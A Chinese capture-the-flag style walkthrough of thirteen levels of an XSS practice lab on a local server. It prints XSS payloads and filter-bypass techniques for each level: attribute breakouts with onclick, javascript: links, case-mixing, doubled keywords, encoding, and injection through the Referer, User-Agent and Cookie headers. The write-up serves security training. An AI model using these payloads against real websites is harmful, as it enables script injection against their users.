xsschallenge1~13通关详细教程
文章目录
- XSS 挑战靶场通关
- level1
- level2
- level3
- level4
- level5
- level6
- level7
- level8
- level9
- level10
- level11
- level12
- level13
XSS 挑战靶场通关
level1
通过观察发现这个用户信息可以修改
那么我们直接输入攻击代码
<script>alert(/wuhu/)</script>
弹框如下:
level2
发现一个输入框,输入攻击代码观察页面反应
页面将我们的攻击代码进行了打印。
查看网页源代码,发现将我们输入的尖括号进行了转义。
源码
htmlspecialchars(string): 把预定义的字符: “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为HTML实体,防止浏览器将其作为HTML元素。
impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符 “<” (小于)和 “>” (大于)转换成html实体,这样就防止了填入标签。
预定义的字符如下:
& 成为 & " 成为 " ' 成为 ' < 成为 < > 成为 >
这里我们可以闭合该value参数,添加一个onclick属性
onclick
是一个 HTML 属性,用于在用户点击(或触摸)指定的 HTML 元素时触发相应的 JavaScript 代码。
那么我们可以构造其他攻击代码
" οnclick="alert(99)"
闭合input标签,将语句独立出来
"><script>alert(/xss/)</script>
level3
查看网页源代码,发现该闭合方式是单引号
构造我们的攻击代码
' onclick='alert(/wuhu/)
level4
查看页面源代码
发现闭合方式是双引号闭合。
构造我们的攻击代码
" onclick="alert(/wuhu/)
level5
注入我们的攻击代码
" οnclick="alert(/wuhu/)
页面没有反应
查看页面源代码
这里将我们输入的事件onclick的on之间添加了下划线。
试一下<script>标签是否可以
<script>alert(/wuhu/)</script>
同样页面没有弹框,查看页面源代码,发现<script>标签也被添加了下划线。
这里就无法使用事件了,可以使用伪协议,闭合方式为双引号。
构造攻击代码如下:
先将input标签闭合,然后构造超链接标签
"> <a href="javascript:alert(/xss/)">芜湖</a>
成功弹框
level6
先输入攻击代码查看页面响应
<script>alert(/wuhu/)</script>
查看页面源码,发现script标签被添加了下划线。
使用响应事件来构造攻击代码
<a href = "#" onclick = 'alert(/wuhu/)'>click me!</a>
同样页面没有响应,查看页面源代码,发现响应事件被添加了下划线。
使用伪协议来构造攻击代码
<a href = "javascript:alert(/xss/)">click me!</a>
同样页面没有响应,查看页面源代码,发现href被添加了下划线。
采用大小写绕过的方式构造攻击代码:
"> <SCRIPT>alert(/wuhu/)</SCRIPT>
level7
先输入攻击代码查看页面响应
<script>alert(/wuhu/)</script>
页面没有响应,查看页面源代码,发现我们的script标签被替换为空了。
查看源码
源码中将script,on,src,data,href标签及属性转换为空。这里可以先使input便签进行闭合,再双写script进行绕过。
构造攻击代码:
"> <scrscriptipt>alert(/xss/)</scrscriptipt>
" oonnclick="alert(/wuhu/)
level8
先输入攻击代码查看页面响应
<script>alert(/wuhu/)</script>
页面没有响应,查看页面源代码
发现将我们构造的攻击代码放到了a标签中,并且给script标签添加了下划线。
查看源码
这里将script,on,src,data,href,“进行了过滤,并且在尝试的时候关键字双写不管用。那么这里直接选择不去闭合标签,直接使用伪协议,但是发现javascript也被拆开了。这里可以对伪协议中的字母进行转码。
构造攻击代码:
javascript:alert(/xss/)
level9
发现这关和上一关中的页面差不多,使用上一关构造的攻击代码
javascript:alert(/xss/)
页面没有任何响应,查看页面源代码
查看源码
先写一个正确的链接,然后点击友情链接,页面可以正常跳转
查看页面源代码,这里显示出正常了链接地址。
源代码
这里查看我们注入的代码中是否有http://,如果包含则执行else中的语句,将我们构造的攻击代码输入到href中,如果不包含则在a标签中的href显示指定字符串。
strpos — 查找字符串首次出现的位置。
构造攻击d代码,将http://加入到alert的()中。
javascript:alert('http://')
level10
先输入攻击代码查看页面响应
http://127.0.0.1/xsschallenge/level10.php?keyword=<script>alert(/wuhu/)</script>
页面没有任何反应,查看网页源代码,发现了三个隐藏的输入框参数分别为t_link,t_history,t_sort。
尝试给这三个参数赋值
发现只有t_sort有值
查看源代码
这里对左右尖括号进行了过滤
那么我们采用给t_sort赋值的方式注入攻击代码:
t_sort=" type="text" onclick = "alert(/xss/)
查看页面源代码,将之前隐藏的输入框显示出来,并且添加了一个数据鼠标点击事件。
然后点击输入框后弹框
level11
和level10相似,直接查看网页源代码
分别给t_link,t_history和t_sort赋值
发现还是只有t_sort有值
按照上一关的思路进行构造攻击代码
t_sort=" type="text" onclick = "alert(/xss/)
页面还是没有反应,查看源代码
发现提交给t_sort的参数被过滤了。
查看源码,既然t_sort不行,这里尝试使用t_ref参数。
t_ref中的value参数获取的是 s t r 33 , str33, str33,str33变量获取的是 s t r 22 , str22, str22,str22变量获取的是 s t r 11 , str11, str11,str11变量获取的是HTTP_PEFERER参数。
修改Referer字段,在该字段构造我们的攻击代码
" type="text" onclick = "alert(/xss/)
点击输入框
弹框如下
level12
查看源代码
发现这次传递的是USER_AGENT参数
修改USER_AGENT字段,在该字段构造我们的攻击代码
" type="button" onclick = "alert(/xss/)
点击页面中的按钮,弹框如下
level13
查看源代码
发现这次传递的是COOKIE参数
修改COOKIE字段,在该字段构造我们的攻击代码
" type="button" onclick = "alert(/xss/)
点击页面中的输入框,弹框如下
相关文章:

xsschallenge1~13通关详细教程
文章目录 XSS 挑战靶场通关level1level2level3level4level5level6level7level8level9level10level11level12level13 XSS 挑战靶场通关 level1 通过观察发现这个用户信息可以修改 那么我们直接输入攻击代码 <script>alert(/wuhu/)</script>弹框如下: …...

考生作弊行为分析算法
考生作弊行为分析系统利用pythonyolo系列网络模型算法框架,考生作弊行为分析算法利用图像处理和智能算法对考生的行为进行分析和识别,经过算法服务器的复杂计算和逻辑判断,算法将根据考生行为的特征和规律,判定是否存在作弊行为。…...
Python 操作 Redis 数据库介绍
Redis 作为常用的 NoSql 数据库,主要用于缓存数据,提高数据读取效率,那在 Python 中应该如果连接和操作 Redis 呢?今天就为大概简单介绍下,在 Python 中操作 Redis 常用命令。 安装 redis 首先还是需要先安装 redis …...
十年JAVA搬砖路——软件工程概述
软件工程是一门关注软件开发过程的学科,它涉及到软件的设计、开发、测试、部署和维护等方面。软件工程的目标是通过系统化的方法和工具,以确保软件项目能够按时、按预算和按要求完成。 • 软件工程的7个基本概念: 软件生命周期:软…...

前后端项目部署上线详细笔记
部署 参考文章:如何部署网站?来比比谁的方法多 - 哔哩哔哩大家好,我是鱼皮,不知道朋友们有没有试着部署过自己开发的网站呢?其实部署网站非常简单,而且有非常多的花样。这篇文章就给大家分享几种主流的前端…...

Android 蓝牙开发( 二 )
前言 上一篇文章给大家分享了Android蓝牙的基础知识和基础用法,不过上一篇都是一些零散碎片化的程序,这一篇给大家分享Android蓝牙开发实战项目的初步使用 效果演示 : Android蓝牙搜索,配对,连接,通信 Android蓝牙实…...

C#调用barTender打印标签示例
使用的电脑需要先安装BarTender 我封装成一个类 using System; using System.Windows.Forms;namespace FT_Tools {public class SysContext{public static BarTender.Application btapp new BarTender.Application();public static BarTender.Format btFormat;public void Q…...

Spring——Spring读取文件
文章目录 1.通过 value 读取比较简单的配置信息2.通过ConfigurationProperties读取并与 bean 绑定3.通过ConfigurationProperties读取并校验4. PropertySource 读取指定 properties 文件5.题外话:Spring加载配置文件的优先级 很多时候我们需要将一些常用的配置信息比如阿里云os…...

这是一条求助贴(postman测试的时候一直是404)
看到这个问题是404的时候总感觉不该求助大家,404多常见一看就是简单的路径问题,我的好像不是,我把我的问题奉上。 首先我先给出我的url http://10.3.22.195:8080/escloud/rest/escloud_contentws/permissionStatistics/jc-haojl/sz 这是我…...

信号完整性分析基础知识之有损传输线、上升时间衰减和材料特性(四):有损传输线建模
传输线中信号衰减的两个损耗过程是通过信号和返回路径导体的串联电阻以及通过有损耗介电材料的分流电阻。这两个电阻器的电阻都与频率相关。 值得注意的是,理想电阻器的电阻随频率恒定。我们已经证明,在理想的有损传输线中,用于描述损耗的两个…...

elk日志收集系统
目录 前言 一、概述 二、案例 (一)、环境配置 安装node1与node2节点的elasticsearch node1的elasticsearch-head插件 (二)、node1服务器安装logstash 测试1: 标准输入与输出 测试2:使用rubydebug解…...
perl 语言中 AUTOLOAD 的用法
这里的 AUTOLOAD可以理解为自动加载。具体来说就是,在正常情况下,我们不能调用一个尚未定义的函数(子例程)。不过,如果在未定义函数的包中有一个名为 AUTOLOAD的函数,那么对未定义函数的调用都会路由至这个…...

服务器放在香港好用吗?
相较于国内服务器,将网站托管在香港服务器上最直观的好处是备案层面上的。香港服务器上的网站无需备案,因此更无备案时限,购买之后即可使用。 带宽优势 香港服务器的带宽一般分为香港本地带宽和国际带宽、直连中国骨干网 CN2三种。香港…...

C++设计模式_01_设计模式简介(多态带来的便利;软件设计的目标:复用)
文章目录 本栏简介1. 什么是设计模式2. GOF 设计模式3. 从面向对象谈起4. 深入理解面向对象5. 软件设计固有的复杂性5.1 软件设计复杂性的根本原因5.2 如何解决复杂性 ? 6. 结构化 VS. 面向对象6.1 同一需求的分解写法6.1.1 Shape1.h6.1.2 MainForm1.cpp 6.2 同一需求的抽象的…...
Docker技术--WordPress博客系统部署初体验
如果使用的是传统的项目部署方式,你要部署WordPress博客系统,那么你需要装备一下的环境,才可以部署使用。 -1:操作系统linux -2:PHP5.6或者是更高版本环境 -3:MySQL数据环境 -4:Apache环境 但是如果使用Docker技术,那么就只需要进行如下的几行简单的指令: docker run …...
提高代码可读性和可维护性的命名建议
当进行接口自动化测试时,良好的命名可以提高代码的可读性和可维护性。以下是一些常用的命名建议: 变量和函数命名: 使用具有描述性的名称,清晰地表达变量或函数的用途和含义。使用小写字母和下划线来分隔单词,例如 log…...

Docker基础入门:Docker网络与微服务项目发布
Docker基础入门:Docker网络与微服务项目发布 一、前言二、Docker0理解2.1 ip a查看当前网络环境2.2 实战--启动一个tomact01容器(查看网络环境)2.3 实战--启动一个tomact02容器(查看网络环境)2.4 容器与容器之间的通信…...

Docker安装详细步骤
Docker安装详细步骤 1、安装环境准备 主机:192.168.40.5 zch01 设置主机名 # hostnamectl set-hostname zch01 && bash 配置hosts文件 [root ~]# vi /etc/hosts 添加如下内容: 192.168.40.5 zch01 关闭防火墙 [rootzch01 ~]# systemct…...

十六、pikachu之SSRF
文章目录 1、SSRF概述2、SSRF(URL)3、SSRF(file_get_content) 1、SSRF概述 SSRF(Server-Side Request Forgery:服务器端请求伪造):其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能&…...

最新PHP短网址生成系统/短链接生成系统/URL缩短器系统源码
全新PHP短网址系统URL缩短器平台,它使您可以轻松地缩短链接,根据受众群体的位置或平台来定位受众,并为缩短的链接提供分析见解。 系统使用了Laravel框架编写,前后台双语言使用,可以设置多域名,还可以开设套…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...

苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...

相机从app启动流程
一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...

Springboot社区养老保险系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,社区养老保险系统小程序被用户普遍使用,为方…...

嵌入式学习笔记DAY33(网络编程——TCP)
一、网络架构 C/S (client/server 客户端/服务器):由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序,负责提供用户界面和交互逻辑 ,接收用户输入,向服务器发送请求,并展示服务…...

三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...
【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案
目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后,迭代器会失效,因为顺序迭代器在内存中是连续存储的,元素删除后,后续元素会前移。 但一些场景中,我们又需要在执行删除操作…...

tauri项目,如何在rust端读取电脑环境变量
如果想在前端通过调用来获取环境变量的值,可以通过标准的依赖: std::env::var(name).ok() 想在前端通过调用来获取,可以写一个command函数: #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...

DBLP数据库是什么?
DBLP(Digital Bibliography & Library Project)Computer Science Bibliography是全球著名的计算机科学出版物的开放书目数据库。DBLP所收录的期刊和会议论文质量较高,数据库文献更新速度很快,很好地反映了国际计算机科学学术研…...
鸿蒙(HarmonyOS5)实现跳一跳小游戏
下面我将介绍如何使用鸿蒙的ArkUI框架,实现一个简单的跳一跳小游戏。 1. 项目结构 src/main/ets/ ├── MainAbility │ ├── pages │ │ ├── Index.ets // 主页面 │ │ └── GamePage.ets // 游戏页面 │ └── model │ …...